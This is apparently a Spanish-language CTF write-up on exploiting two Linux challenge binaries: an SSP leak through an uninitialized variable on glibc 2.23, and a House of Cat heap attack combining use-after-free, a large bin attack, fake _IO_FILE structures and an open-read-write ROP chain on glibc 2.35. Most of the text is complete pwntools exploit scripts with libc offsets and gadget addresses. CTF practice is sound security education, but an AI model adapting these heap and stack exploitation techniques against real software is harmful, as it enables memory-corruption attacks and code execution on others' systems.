Explotación de Vulnerabilidades de Memoria en Binarios Linux: SSP Leak, UAF y House of Cat

Análisis de Filtración SSP y Variables No Inicializadas en glibc 2.23

En este escenario, nos enfrentamos a un binario compilado con glibc 2.23 que presenta dos vulnerabilidades críticas: una filtración de Stack Smashing Protector (SSP) y el uso de una variable no inicializada. El programa implementa un menú con múltiples opciones, algunas de las cuales actúan como señuelos para dificultar el análisis.

Flujo del Programa y Opciones del Menú

  • Opción 1: Actúa como un mecanismo de defensa. Cierra el flujo de error estándar (stderr), lo que impide la técnica tradicional de SSP leak.
  • Opción 2: Contiene la vulnerabilidad de variable no inicializada.
  • Opción 3: Aprovecha el estado de la variable no inicializada para lograr la apertura del archivo que contiene la bandera (flag).
  • Opción 4: Lee el contenido del archivo abierto y lo almacena en el segmento BSS.
  • Opción 5: Permite desbordar un búfer para sobrescribir el nombre del programa (argv[0]) y forzar la comprobación del canary, desencadenando así la filtración SSP.

Estrategia de Explotación

El ataque se ejecuta de forma secuencial. Primero, se invoca la opción 2 para preparar el estado de la memoria. Luego, se utiliza la opción 3 para abrir el archivo objetivo, seguida de la opción 4 para cargar su contenido en una región de memoria controlada (BSS). Finalmente, la opción 5 se emplea para corromper la pila, sobrescribir la referencia a argv[0] con una dirección conocida y provocar la terminación anormal que imprime el canary y las direcciones de la pila a través de __stack_chk_fail.

Script de Explotación Refactorizado

from pwn import *

# Configuración del entorno de ejecución
context.binary = './target_binary'
io_proc = process('./target_binary')

def interact_menu(option):
    io_proc.sendlineafter(b"your choice : \n", str(option).encode())

# Fase 1: Preparación mediante variable no inicializada
interact_menu(2)
io_proc.sendlineafter(b"overflow\n", b"24559")
init_payload = b'XX' + b'flag\x00' * 0x1300
io_proc.recvuntil(b"useful\n")
io_proc.sendline(init_payload)
io_proc.sendafter(b"Really?\n", b'n')

# Fase 2: Apertura del archivo objetivo
io_proc.recvuntil(b'your choice :')
interact_menu(3)
io_proc.sendlineafter(b"level:", b"1")
io_proc.sendlineafter(b"mode:", b"1")
io_proc.sendlineafter(b"X:", b"1")
io_proc.sendlineafter(b"string: ", b'A' * 0x10)
io_proc.sendlineafter(b"filename\n", b'output.txt')
io_proc.sendlineafter(b"no\n", b"2")

# Fase 3: Lectura de datos al segmento BSS
interact_menu(4)
bss_payload = b'>:`!!>@g*>~3'
io_proc.sendlineafter(b'info>>\n', bss_payload)

# Fase 4: Corrupción de pila y SSP Leak
interact_menu(5)
ssp_overflow = b'B' * 0x118 + p64(0x602121)
io_proc.sendlineafter(b"return address\n", ssp_overflow)

io_proc.interactive()

Manipulación Avanzada del Heap: House of Cat en glibc 2.35

Este segundo caso de estudio se centra en un binario protegido con glibc 2.35 y un perfil de seccomp que bloquea la llamada al sistema execve, obligando al atacante a utilizar una cadena de gadgets Open-Read-Write (ORW). Las funcionalidades disponibles son asignación (add), liberación (delete) y edición (edit).

Identificación de Vulnerabilidades

La función de liberación no limpia adecuadamente los punteros, resultando en una vulnerabilidad de Use-After-Free (UAF). Por otro lado, la función de edición ofrece dos modos:

  • Modo 1: Presenta un desbordamiento de matriz que permite modificar los dos bytes menos significativos de io_read_end y io_write_base a cero, facilitando una filtración de direccoines a través de la estructura _IO_FILE. Este modo tiene un límite de dos usos.
  • Modo 2: Edición estándar con un único uso permitido.

Estrategia de Ataque y House of Cat

La técnica "House of Cat" requiere la falsificación de estructuras _IO_FILE y _IO_wide_data. El objetivo es cumplir con la condición write_ptr > write_base, restaurar el campo _lock y manipular la tabla virtual (vtable) en la estructura wide para redirigir el flujo de ejecución. Utilizamos svcudp_reply para realizar un pivot de pila (stack pivoting).

La distribución del heap se prepara asignando cuatro bloques iniciales. Posteriormente, se liberan los bloques intermedios y se reasignan para manipular los metdaatos. El UAF se utiliza para fusionar un bloque con el top chunk, mientras que otro bloque se emplea para ejecutar un Large Bin Attack y alterar el tamaño del top chunk.

Script de Explotación Refactorizado

from pwn import *
from ctypes import CDLL
import time

# Inicialización de binarios y librerías
elf_path = './heap_challenge'
elf = ELF(elf_path)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
c_lib = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
context.arch = 'amd64'

io_proc = process(elf_path)

def menu_select(idx):
    io_proc.sendlineafter(b"Your choice: ", str(idx).encode())

def alloc_node(idx, size, data=b'flag\x00\x00\x00\x00'):
    menu_select(1)
    io_proc.sendlineafter(b"index: ", str(idx).encode())
    io_proc.sendlineafter(b"size: ", str(size).encode())
    io_proc.sendafter(b"content: ", data)

def free_node(idx):
    menu_select(2)
    io_proc.sendlineafter(b"index: ", str(idx).encode())

def edit_node(auth_code, mode, idx, payload):
    menu_select(3)
    io_proc.sendlineafter(b"identity!\n", str(auth_code).encode())
    io_proc.sendlineafter(b"edit: ", str(mode).encode())
    if mode == 1:
        io_proc.sendlineafter(b"index: ", str(idx).encode())
        io_proc.sendafter(b"content: ", payload)
    elif mode == 2:
        io_proc.sendlineafter(b"index: ", str(idx).encode())
        io_proc.sendlineafter(b"offset: ", str(payload).encode())

# Preparación inicial y filtración de direcciones
alloc_node(0xf, 0x418, b'a')
alloc_node(0xe, 0x418, b'a')
free_node(0xf)

c_lib.srand(int(time.time()))
rand_val = c_lib.rand()
edit_node(rand_val, 2, 0xf, 0xaa0 + 0x20 + 1)

c_lib.srand(int(time.time()))
rand_val = c_lib.rand()
edit_node(rand_val, 2, 0xf, 0xaa0 + 0x20 + 1 - 0x10)

# Extracción de direcciones base
marker_1 = b'\x00'*2 + b'\x08' + b'\x00'*0x29 + b'\x01' + b'\x00'*0x1d
io_proc.recvuntil(marker_1)
heap_addr = u64(io_proc.recv(6).ljust(8, b'\x00'))
log.info(f"Heap Base: {hex(heap_addr)}")

marker_2 = b'\x01' + b'\x00'*3 + b'\xff'*3 + b'\x7f'
io_proc.recvuntil(marker_2)
libc_addr = u64(io_proc.recv(6).ljust(8, b'\x00')) - 0x1d809b
log.info(f"Libc Base: {hex(libc_addr)}")

# Cálculo de gadgets y funciones para la cadena ORW
svcudp_gadget = libc_addr + 0x16a1fa
leave_ret = libc_addr + 0x00000000000562ec
pop_rdi = libc_addr + 0x000000000002a3e5
pop_rsi = libc_addr + 0x000000000002be51
pop_rdx_r12 = libc_addr + 0x000000000011f497
sys_open = libc_addr + 0x114690
sys_read = libc_addr + 0x00000114980
sys_write = libc_addr + 0x000000114a20
add_rsp_0x40 = libc_addr + 0x00000000000ec4d0

io_proc.sendline(b'2')
io_proc.sendlineafter(b"index: ", b'14')

# Construcción de estructuras falsas _IO_FILE y _IO_wide_data
heap_offset = heap_addr + 0x290
fake_file = p64(4) * 4
fake_file += p64(0) * 3
fake_file += p64(heap_offset + 0xe0 + 0xd0 - 0x18)
fake_file += p64(0) * 7
fake_file += p64(libc_addr + 0x21ba60)
fake_file += p64(0) * 2   
fake_file += p64(heap_offset + 0xe0)
fake_file += p64(0) * 6
fake_file += p64(libc_addr + 0x2160c0 + 16)

fake_wide = p64(0) * 4 + p64(1)
fake_wide += p64(0) * 19
fake_wide += p64(add_rsp_0x40) 
fake_wide += p64(0xdeadbeef)                               
fake_wide += p64(heap_offset + 0xe0 + 0xd0 - 8)
fake_wide += p64(0)                   
fake_wide += p64(heap_offset + 0xe0 + 0xd0)
fake_wide += p64(svcudp_gadget)
fake_wide += p64(leave_ret)

# Cadena ORW (Open-Read-Write)
flag_path_addr = heap_offset + 0x1a8 + 0x728
orw_chain = p64(pop_rdi) + p64(flag_path_addr) + p64(pop_rsi) + p64(0) + p64(sys_open)
orw_chain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_offset - 0x50) + p64(pop_rdx_r12) + p64(0x50) * 2 + p64(sys_read)
orw_chain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_offset - 0x50) + p64(pop_rdx_r12) + p64(0x50) * 2 + p64(sys_write)

# Manipulación del Heap y Large Bin Attack
alloc_node(0, 0x440, fake_file + fake_wide + orw_chain)
alloc_node(1, 0x430)
alloc_node(2, 0x450)
alloc_node(3, 0x468)

free_node(1)
free_node(2)

alloc_node(4, 0x460, b'g' * 0x430 + p64(0) + p64(0x461))
alloc_node(5, 0x420)
free_node(2)
alloc_node(6, 0x450, b'g' * 0x20 + p64(0) + p64(0xd11))
free_node(2)
alloc_node(7, 0x460)

free_node(0)
free_node(5)

stderr_addr = libc_addr + libc.symbols['stderr']
lba_payload = p64(libc_addr + 0x1a0e0) * 2 + p64(0) + p64(stderr_addr - 0x20) + p64(0) + p64(0x301)

c_lib.srand(int(time.time()))
rand_val = c_lib.rand()
edit_node(rand_val, 1, 2, lba_payload)

alloc_node(8, 0x468)

io_proc.interactive()

Etiquetas: pwn glibc house-of-cat ssp-leak uaf

Publicado el 7-27 15:31